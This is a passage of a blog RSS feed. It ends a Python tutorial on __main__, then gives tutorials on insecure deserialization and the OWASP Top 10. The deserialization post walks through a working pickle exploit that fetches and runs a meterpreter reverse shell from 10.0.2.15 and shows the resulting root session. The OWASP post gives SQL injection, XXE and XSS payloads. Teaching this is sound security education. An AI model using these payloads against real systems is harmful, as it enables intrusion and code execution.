&quot;__main__&quot; to it when we executed it. Just like python assigns special names, it uses special variables to store those special names. The __name__is one such variable that stores the name assigned to the script by python. To test, let’s use the following snippet of code:</p><pre># test.py</pre><pre>print(__name__)</pre><p>The output after running the above code is:</p><pre>C:\Users&gt; python test.py<br>__main__</pre><p>Now, that we know the significance of __name__ and &quot;__main__&quot;, the only thing remains is the conditional statement we began with:</p><pre>if __name__ == &quot;__main__&quot;:<br>    # Statements</pre><p>The above conditional statement checks if this script was executed explicitly by the developer or not. It allows us to alter how the script behaves when it is run directly and <em>when it is used as a module</em>.</p><h3>Why and how to use `if __name__ == “__main__”:`</h3><p>Let’s see how this syntax is extremely helpful when one has custom modules in their application. Going back to our greeting application, assume we want to change how the function in module.py worked. Instead of returning the first name, we now want it to return a string that has the initial character of the last name followed by the first name. So, “John Hancock” would be returned as “H. John”. Modifying the code for the function leaves us with the following:</p><pre># module.py</pre><pre>def extract_first_name(full_name):<br>    # Splits the full name with whitespace as the delimiter<br>    name = full_name.split(&quot; &quot;)</pre><pre>    # Returns last name&#39;s initial character followed by first name<br>    return name[1][0] + &quot;. &quot; + name[0]</pre><p>Now, to test if our modified code works we can execute main.py and provide a sample input name. In the scenario of our greeting application, it is fine to do so as there’s not a lot going on in main.py itself, but when writing large applications, it’s a better practice to individually test modules rather than running the entire application to see if the changes made to the module work or not. To achieve this we need to execute our module.py and call our function with a test name passed as a parameter to the function like so:</p><pre># module.py</pre><pre>def extract_first_name(full_name):<br>    # Splits the full name with whitespace as the delimiter<br>    name = full_name.split(&quot; &quot;)</pre><pre>    # Returns the first element i.e. the first name<br>    return name[1][0] + &quot;. &quot; + name[0]<br></pre><pre>print(&quot;---Running Module Test---&quot;)<br>name = extract_first_name(&quot;John Hancock&quot;)<br>print(name)</pre><p>Running the test on our modified module.py gives us the following output:</p><pre>C:\Users&gt; python module.py<br>---Running Module Test---<br>H. John</pre><p>Great! So, the modification works. Let’s now run main.py as well to make sure everything works as we want it to:</p><pre>C:\Users&gt; python main.py<br>---Running Module Test---<br>H. John<br>Enter your full name: John Hancock<br>Hello H. John!</pre><p>I’m sure that you too see that this is not what we want our greeting application to do. One question that you might have is why do we see the test output from module.py when we didn’t execute it, we just imported it in main.py and used the function. It happened because there is one thing that we didn’t talk about in the previous section about modular code.</p><blockquote>When we import a module in python, the module gets <strong>executed </strong>even without us executing it.</blockquote><p>So, when we imported module.py in our application, it executed the script thus, printing the test content we wrote. Now, we need to eliminate the test output’s content. One (dirty) way to do this is to just delete the code that we used to test the modifications but that will require us to write it back every time we want to test it again against new modifications. A better way is to use a mechanism to check who is executing the module, us or python. We want to see the test output if we are executing the module but not when python executes it while importing it in other scripts. This is where it all comes together! We can achieve this desired functionality as we know that when <em>we</em> execute module.py explicitly, python will assign it a special name, &quot;__main__&quot; and we can use this to alter how module.py behaves. Let’s add the if-statement to module.py:</p><pre># module.py</pre><pre>def extract_first_name(full_name):<br>    # Splits the full name with whitespace as the delimiter<br>    name = full_name.split(&quot; &quot;)</pre><pre># Returns the first element i.e. the first name<br>    return name[1][0] + &quot;. &quot; + name[0]</pre><pre># This segment is executed only if the script is ran explicitly<br>if __name__ == &quot;__main__&quot;:<br>    print(&quot;---Running Module Test---&quot;)<br>    name = extract_first_name(&quot;John Hancock&quot;)<br>    print(name)</pre><p>Now, when we execute module.py and main.py we get the following outputs, respectively:</p><pre>C:\Users&gt; python module.py<br>---Running Module Test---<br>H. John</pre><pre>C:\Users&gt; python main.py<br>Enter your full name: John Hancock<br>Hello H. John!</pre><p>And with that, we have our application complete. When we want to test a new modification to our module, we’d just execute it directly with some test cases and it won’t hamper how the application works as a whole. We won’t even have to add and delete test cases and code and hence, any modifications can be tested with minimal effort as the test cases can be reused and be kept within the module at all times.</p><h3>Conclusion</h3><p>We took a look at what exactly is meant by modular code and how to write it in python. We saw a few special attributes that python assigns to scripts based on conditions like “how was this script executed?” and we also looked at how do we use the conditional if __name__ == &quot;__main__&quot;: to alter the behavior of modules when we are testing them and when they are being imported.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cb77b95e0ce7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Deserialization Attacks]]></title>
            <link>https://medium.com/gdg-vit/deserialization-attacks-d312fbe58e7d?source=rss-9a0fb75485d5------2</link>
            <guid isPermaLink="false">https://medium.com/p/d312fbe58e7d</guid>
            <category><![CDATA[exploitation]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[insecure-deserialization]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[vulnerability]]></category>
            <dc:creator><![CDATA[Ayush Priya]]></dc:creator>
            <pubDate>Tue, 11 Jun 2019 07:14:34 GMT</pubDate>
            <atom:updated>2019-06-11T07:17:01.395Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vRV_dShS6YhvK2W_cci74Q.jpeg" /></figure><p>An introduction to attacks based on insecure deserialization.</p><h3>What is serialization?</h3><p>Let’s start off by defining what exactly serialization means. Serialization is the process of converting a complex object, such as a list in python, into a format which is more suitable for certain operations such as storing into files, transmitting over a network. Serialization is also, at times, referred to as <em>marshaling</em>.</p><p>Serialization has an obvious benefit that it retains the structure of the original object when the data gets <em>deserialized</em>. This is a fancy way of saying that the list you serialized in python will directly be converted back to a list once you deserialize it and hence, it can be used as a variable’s value immediately rather than to parse it to make sense of it.</p><h3>Insecure Deserialization</h3><p>Insecure Deserialisation refers to when the data being deserialized abuses the logic of the application to perform unintended tasks. These <em>tasks</em> could range from performing Denial of Service (DoS) attacks, spawning a reverse shell and executing arbitrary code on the target.</p><p>The example below gives a peek at the severity of this vulnerability:</p><pre>import pickle<br>import os</pre><pre>class BadUserClass():<br>    def __init__(self, username):<br>        self.username = username</pre><pre>    def __reduce__(self):<br>        return (self.__class__, (os.system(&quot;whoami&quot;),))</pre><pre>bad_user_obj = BadUserClass(&quot;ayush&quot;)</pre><pre>serialized_obj = pickle.dumps(bad_user_obj)</pre><pre># Insecure deserialization<br>user = pickle.loads(serialized_obj)</pre><pre>print(&quot;Hello!, {}&quot;.format(user.username))</pre><p>Running the above code provides us with the following output, displaying desktop-fsv539h\ayush -</p><pre>desktop-fsv539h\ayush<br>Hello!, 0</pre><p>But let’s take a bit more realistic example because no one would want to exploit themselves.</p><p>Let’s assume that we have a simple web application which asks for your name and greets with a customized greeting! On the server side, we’ll have a simple flask app running with a UserIDclass to manage user data.</p><pre># flask_app.py<br>import os<br>import pickle<br>from uuid import uuid1<br>from flask import Flask, make_response, request<br>from base64 import b64encode, b64decode</pre><pre># The User Class which assigns a random ID to each connection<br>class UserID:<br>    def __init__(self, uuid=None):<br>        self.uuid = str(uuid1())</pre><pre>def __str__(self):<br>        return self.uuid</pre><pre># The main Flask Backend<br>app = Flask(__name__)</pre><pre>@app.route(&#39;/&#39;, methods=[&#39;GET&#39;])<br>def index():<br>    user_obj = request.cookies.get(&#39;uuid&#39;)</pre><pre>if user_obj == None:<br>        msg = &quot;Seems like you didn&#39;t have a cookie. No worries! I&#39;ll set one now!&quot;<br>        response = make_response(msg)<br>        user_obj = UserID()<br>        response.set_cookie(&#39;uuid&#39;, b64encode(pickle.dumps(user_obj)))<br>        return response</pre><pre>else:<br>        return &quot;Hey there! {}!&quot;.format(pickle.loads(b64decode(user_obj)))</pre><pre>if __name__ == &quot;__main__&quot;:<br>    # Using host=&#39;0.0.0.0&#39; to accept connections from all IPs<br>    app.run(host=&#39;0.0.0.0&#39;)</pre><p>A brief explanation of the app we see above is that it has a UserID class which serves to assign a unique ID to each visitor of the site. When someone visits the site, the flask app checks if there exists a cookie indicating a returning user. If it exists, the visitor is greeted with a personalized message. If the cookie does not exist, the backend sets one at that time. Here’s how it looks in action -</p><ul><li>The response to a first-time visitor:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/877/1*eM802UPbDJwauN2PbFPe8w.jpeg" /></figure><ul><li>The response to a returning visitor:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/737/1*Us3GQNrGcQsd47MFMlnsrQ.jpeg" /></figure><p>I know that displaying the unique ID for a visitor on the browser is probably one of the worst things a back-end engineer could do but the point here is to understand insecure deserialization, so bear with me.</p><p>Now, that we know how the app functions, breaking into it is easy. Well, kind of. All we need to do, to target it, is to replace the cookie’s value set by the backend with the malicious serialized data. Let’s try and get a reverse shell. All we need to do is generate a malicious class object with the required terminal commands and set the cookie’s value to the base64 encoded value of the serialized object we created.</p><p>So, first I’ll create a meterpreter reverse shell called shell.elf with msfvenom and place it in /var/www/html -</p><pre>root@kali:~# msfvenom --payload linux/x86/meterpreter/reverse_tcp -f elf -o shell.elf<br>root@kali:~# mv shell.elf /var/www/html/</pre><p>Then the following script should take care of all the steps I mentioned before and give us the value we need, to use the payload -</p><pre># exploit.py<br>import os<br>import pickle<br>from base64 import b64encode</pre><pre>PAYLOAD = &quot;cd /tmp &amp;&amp; wget http://10.0.2.15/shell.elf &amp;&amp; chmod +x shell.elf &amp;&amp; ./shell.elf&quot;</pre><pre>class Exploit(object):<br>    def __reduce__(self):<br>        return (eval, (&quot;os.system(&#39;&quot; + PAYLOAD + &quot;&#39;)&quot;,))</pre><pre>exploit_code = pickle.dumps(Exploit())</pre><pre>print(b64encode(exploit_code))</pre><pre># Output is: b&#39;gANjYnVpbHRpbnMKZXZhbApxAFhcAAAAb3Muc3lzdGVtKCdjZCAvdG1wICYmIHdnZXQgaHR0cDovLzEwLjAuMi4xNS9zaGVsbC5lbGYgJiYgY2htb2QgK3ggc2hlbGwuZWxmICYmIC4vc2hlbGwuZWxmJylxAYVxAlJxAy4=&#39;</pre><blockquote><em>Note: Firstly, for anyone who is wondering, the IP used above is what you’ll replace with your IP. Secondly, the output is a </em><em>byte-string but we only need its contents so we can ignore the </em><em>b&#39; at the start and </em><em>&#39; at the end.</em></blockquote><p>Let’s visit the site and get ourselves an ID first -</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/882/1*o3JsMb175rPXzaUjxE9Y8g.jpeg" /></figure><p>Now, let’s change the cookie’s value using the browser’s JavaScript console -</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NMz-U1FJxtIdGqbdD6d32w.jpeg" /></figure><p>Hitting refresh on the browser would trigger the backend to read the cookie value and deserialize it which will trigger our payload. So, let’s set-up our meterpreter handler before doing that -</p><pre>root@kali:~# msfconsole</pre><pre>--- snipped ---</pre><pre>msf &gt; use exploit/multi/handler<br>msf exploit(multi/handler) &gt; set PAYLOAD linux/x86/meterpreter/reverse_tcp<br>PAYLOAD =&gt; linux/x86/meterpreter/reverse_tcp<br>msf exploit(multi/handler) &gt; set LHOST 10.0.2.15<br>LHOST =&gt; 10.0.2.15<br>msf exploit(multi/handler) &gt; exploit</pre><pre>[*] Started reverse TCP handler on 10.0.2.15:4444</pre><p>Hitting refresh on the browser, we execute the payload and checking back on msfconsole we have a session active and now are in the server -</p><pre>[*] Started reverse TCP handler on 10.0.2.15:4444<br>[*] Sending stage (861480 bytes) to 10.0.2.15<br>[*] Meterpreter session 1 opened (10.0.2.15:4444 -&gt; 10.0.2.15:45420) at 2019-06-02 14:13:12 -0400</pre><pre>meterpreter &gt; shell<br>Process 3470 created.<br>Channel 1 created.<br>whoami  <br>root</pre><p>As the above snippet shows, we have a successful meterpreter shell, which gives us the ability to do virtually anything on the server, from sending additional payloads to pivoting and attacking other systems by proxying our attack traffic through this server.</p><p>By the way, if you were wondering how the target IP and our IP are the same, it’s because I ran the server on the same system. It doesn’t change or affect anything though. In a realistic situation, you’d do the same stuff we did here.</p><p>I believe that the dangers of insecure deserialization should be quite evident now. But, we should also take note of the fact that we were able to exploit the vulnerability because we had the source to look at. Insecure deserialization is one of the most difficult vulnerabilities to find and exploit. It generally requires some access to the source code of the target application itself. This can happen in two cases — a white-box testing scenario or when the attacker manages to get hold of the source somehow.</p><h3>Mitigation</h3><p>Even though insecure deserialization is hard to identify, one should not rely on the attacker having no luck in finding the vulnerability. We can secure the application from deserialization attacks to a great extent by implementing the following rules -</p><ul><li>Validate user input.</li><li>Never deserialize data from an untrusted source.</li><li>Run the deserialization code with limited access privileges.</li><li>When transferring data between two systems, check if the object has been tampered with. One can use checksums for this.</li><li>If available, use safe deserialization methods. For example, using yaml.safe_load() instead of yaml.load() in python.</li></ul><p>Head over to <a href="https://blog.ayushpriya.tech/">https://blog.ayushpriya.tech</a> for more posts on security.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d312fbe58e7d" width="1" height="1" alt=""><hr><p><a href="https://medium.com/gdg-vit/deserialization-attacks-d312fbe58e7d">Deserialization Attacks</a> was originally published in <a href="https://medium.com/gdg-vit">GDG VIT Vellore</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Understanding the OWASP Top 10 Vulnerabilites (2017)]]></title>
            <link>https://medium.com/gdg-vit/understanding-the-owasp-top-10-vulnerabilites-2017-9a872877a68f?source=rss-9a0fb75485d5------2</link>
            <guid isPermaLink="false">https://medium.com/p/9a872877a68f</guid>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[security-vulnerabilities]]></category>
            <category><![CDATA[owasp]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Ayush Priya]]></dc:creator>
            <pubDate>Sun, 09 Jun 2019 08:01:03 GMT</pubDate>
            <atom:updated>2019-06-09T08:48:31.219Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qM8GZSITxqs0ZVg90VbojQ.png" /><figcaption>OWASP: The Open Web Application Security Project</figcaption></figure><h3><a href="https://blog.ayushpriya.tech/posts/20190527_understanding_owasp_top_10_vulnerabilities/">Understanding the OWASP Top 10 Vulnerabilities(2017)</a></h3><h4>A brief explanation of the OWASP’s top 10 vulnerabilities.</h4><p>The Open Web Application Security Project, more commonly known as OWASP, is a community of security professionals, researchers, and enthusiasts who develop tools for security testing, documentation for vulnerabilities for various platforms and articles on the latest developments in cyber security.</p><p>The OWASP Top 10 refers to the most commonly found vulnerabilities found in web applications. Below are the top 10 vulnerabilities found in web applications as documented and ranked by OWASP for the year 2017.</p><p><strong>1. Injection</strong></p><p>Injection refers to the attacks which exploit the presence of improper input handling that can lead to the interpretation of the input as part of the code/query it’s being used in making the application perform actions it wasn’t meant to. Injections cover all the different varieties such as SQL Injections, NoSQL Injections, Code Injections, etc.</p><p>A simple example would be to imagine a login form with the fields username and password. Let’s assume the SQL query, written in a PHP back-end, looks something like -</p><pre>$username = $_POST[‘username’];<br>$password = $_POST[‘password’];</pre><pre>$query = “SELECT username, password FROM users WHERE username = ‘“ + $username + “‘ AND password = ‘“ + $password + “‘“;</pre><p>Now we can enter abc&#39; or 1=1 -- // as the username and this will change the query structure to retrieve all usernames and passwords irrespective of whether the username matches any other entry or not. The query would end up looking something like -</p><pre>SELECT username, password FROM users WHERE username = ‘abc’ or 1=1 -- // ‘AND password = ‘</pre><p>As it should be evident, the OR condition always returns true since the condition 1=1 is always true and the rest of the query gets commented out.</p><p>This category holds its rank as the most common vulnerability since the last release in 2013.</p><p><strong>2. Broken Authentication</strong></p><p>The attacks based on Broken Authentication allow an attacker to impersonate a legit user to gain access and/or use a service that the web application offers only to privileged users. This vulnerability occurs due to improperly built authentication mechanisms.</p><p>An example of broken authentication could be if one user by modifying some parameter(s) can gain access to services/information he shouldn’t be able to. Imagine the system assigns a session ID to every user who is logged in and the URL looks like -</p><pre>https://www.example.com/?id=1</pre><p>If a user, by changing the id parameter to a different value, say 2, could get the private page of a different user, then the site has broken authentication.</p><p><strong>3. Sensitive Data Exposure</strong></p><p>Sensitive Data Exposure occurs when critical information, such as user credentials, are susceptible to be stolen due to either weak encryption mechanisms or complete absence of encryption. Such a vulnerability can invite attacks at various avenues.</p><p>For example, if a site does not use SSL encryption, all the traffic for this site can easily be sniffed and read in plaintext and hence, any credentials passed over the network to this site can be compromised.</p><p><strong>4. XML External Entities (XXE)</strong></p><p>Attacks based on XML External Entities make use of the widely available but rarely used feature present in XML parsers. XML documents can have markup declarations that define the document type enabling the XML parser to verify the document’s <em>correctness</em> before processing it. This markup can be defined with DTDs or Data Type Definition.</p><p>Let’s take an application where we can upload XML documents and see the formatted content. Here’s a simple POST request with an XML document with a DTD and the response -</p><pre>// Request<br>POST http://randomsite.com/xml HTTP/1.1<br>&lt;!DOCTYPE user [<br>&lt;!ELEMENT user ANY&gt;<br>&lt;!ENTITY user “Ayush”&gt;<br>]&gt;<br>&lt;user&gt;<br>    Hello &amp;user;<br>&lt;/user&gt;</pre><pre>// Response<br>HTTP/1.0 200 OK<br>Hello Ayush</pre><p>These external entities can be used to perform DoS attacks, access remote and local content, even behind firewalls. Below is an example of a crafted XML document which displays data from /etc/lsb-release file in Unix systems -</p><pre>// Request<br>POST http://example.com/xml HTTP/1.1<br>&lt;!DOCTYPE user [<br>&lt;!ELEMENT user ANY&gt;<br>&lt;!ENTITY xxe SYSTEM<br>&quot;file:///etc/lsb-release”&gt;<br>]&gt;<br>&lt;user&gt;<br>    &amp;xxe;<br>&lt;/user&gt;</pre><pre>// Response<br>HTTP/1.0 200 OK<br>DISTRIB_ID=Ubuntu<br>DISTRIB_RELEASE=16.04<br>DISTRIB_CODENAME=xenial<br>DISTRIB_DESCRIPTION=”Ubuntu 16.04 LTS”</pre><p>We just read from a system file that we did not have access to. We can, similarly, read from files on the network of the target machine which are behind firewalls.</p><p><strong>5. Broken Access Control</strong></p><p>Broken Access Control happens due to the absence or insufficient authentication and authorization checks on users accessing privileged services. This can lead to a leak of resources which should either be inaccessible or available to users selectively.</p><p>Imagine a scenario where the web application provides a certain service which is supposed to only be available to admins, say edit-database, which is available at &lt;host&gt;/hidden/edits. Now, the backend only checks if a user is logged in and assumes that if he is, that means he is a legit user. So, anyone can navigate to the said resource irrespective of whether they are an admin or not and make changes to the database.</p><p><strong>6. Security Misconfiguration</strong></p><p>Security Misconfiguration refers to improper configuration of services being set up for the application. This ranges from using default credentials for databases, not removing default credentials, not removing additional bundled services that comes along with packages, using <em>debug</em> mode in production, incorrect directory permissions and so on.</p><p>This misconfiguration can occur at any link of the whole application- the server, the database, frameworks, etc.</p><p>Django, the widely used python backend framework, lists out all the <em>routes</em> when debug is set to true in its configuration file. This can expose the routes which the attacker might not have had access to and now he can add them to his attack surface.</p><p><strong>7. Cross Site Scripting (XSS)</strong></p><p>Cross Site Scripting attacks make use of unvalidated content or input being sent to the browser to be rendered. This allows for an attacker to craft a <em>payload</em> which can modify the DOM of the HTML page itself. XSS can further be used to perform actions on the browser without the knowledge of the user being targeted.</p><p>There are three types of XSS:</p><p><strong>Reflected XSS:</strong> The payload script runs on the client side without his knowledge and possibly perform actions on his behalf on the server.</p><p><strong>Stored XSS:</strong> The payload gets stored on a database and requests that query that payload run the script on their browsers. This kind of XSS is more critical as it can allow an attacker to target an extremely wide user base at once.</p><p><strong>DOM-based XSS:</strong> The payload exists and executes its purpose on just the browser without ever involving the server.</p><p>Let’s take a look at reflected XSS as an example. Imagine that the following URL populates the browser with some content as follows -</p><pre>https://randomsite.com/?param=hello+world</pre><p>This renders the HTML page on the browser as so -</p><pre>&lt;p&gt;hello world&lt;/p&gt;</pre><p>We can modify the value of param to a malicious script -</p><pre>https://randomsite.com/?param=&lt;script&gt;alert(0);&lt;/script&gt;</pre><p>The resulting HTML will be as follows which will trigger an alert pop-up on the browser -</p><pre>&lt;p&gt;&lt;script&gt;alert(0);&lt;/script&gt;&lt;/p&gt;</pre><p>The alert() function can be replaced with any JavaScript that we want to run on the target’s browser.</p><p><strong>8. Insecure Deserialization</strong></p><p>Serialization refers to the conversion of complex objects, that programming languages make use of, to a format which can be used to store the object or transfer over a network. There are plenty of libraries in languages that provide this utility- pickle for python, serialize() in PHP for example. Conversely, deserialization refers to the retrieval of the data object from serial data.</p><p>The attacks which target insecure deserialization of the data are critical as they can allow an attacker to perform DoS attacks, code execution, and bypass authentication.</p><p>The below example illustrates the severity of finding an insecure deserialization vulnerability.</p><pre>import pickle<br>import os</pre><pre>class BadUserClass():<br>    def __init__(self, username):<br>        self.username = username<br>    <br>    def __reduce__(self):<br>        return (self.__class__, (os.system(“whoami”),))</pre><pre>bad_user_obj = BadUserClass(“ayush”)</pre><pre>serialized_obj = pickle.dumps(bad_user_obj)</pre><pre># Insecure deserialization<br>user = pickle.loads(serialized_obj)</pre><pre>print(“Hello!, {}”.format(user.username))</pre><p>Running the above code provides us with the following output, displaying desktop-fsv539h\ayush -</p><pre>desktop-fsv539h\ayush<br>Hello!, 0</pre><p>It is quite evident that, here, we have the capability of even spawning a reverse shell from the victim and then the whole machine is compromised.</p><p>One noteworthy thing about deserialization vulnerabilities is that it’s extremely difficult to identify their existence. Generally, such vulnerabilities are found in white-box testing or when the attacker has some access to the source code of the application.</p><p><strong>9. Using Components with Known Vulnerabilities</strong></p><p>As technology progresses and a lot of things going open-source, it’s not a big surprise when people find security bugs in existing libraries and frameworks. However, it becomes a vulnerability when the application using such a module as part of its codebase and the module either is not the latest version or does not have the security patches installed to mitigate the known vulnerabilities in that library.</p><p><a href="https://www.equifax.com/personal/">Equifax</a> was a victim of a data breach that arose due to the usage of a version Apache Struts which had a known vulnerability since March 2017.</p><p><strong>10. Insufficient Logging and Monitoring</strong></p><p>Insufficient Logging and Monitoring refers to the attacks that rely on lack of or inadequate monitoring and/or untimely response to attacks.</p><p>An example of the same would be when an application fails to log actions performed by a legit user. Thus, if an insider queries the database, makes modifications, etc. there is no way of tracking him down. Accountability suffers due to insufficient logging and monitoring.</p><p>Head over to <a href="https://blog.ayushpriya.tech/">https://blog.ayushpriya.tech</a> for more posts on security.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9a872877a68f" width="1" height="1" alt=""><hr><p><a href="https://medium.com/gdg-vit/understanding-the-owasp-top-10-vulnerabilites-2017-9a872877a68f">Understanding the OWASP Top 10 Vulnerabilites (2017)</a> was originally published in <a href="https://medium.com/gdg-vit">GDG VIT Vellore</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>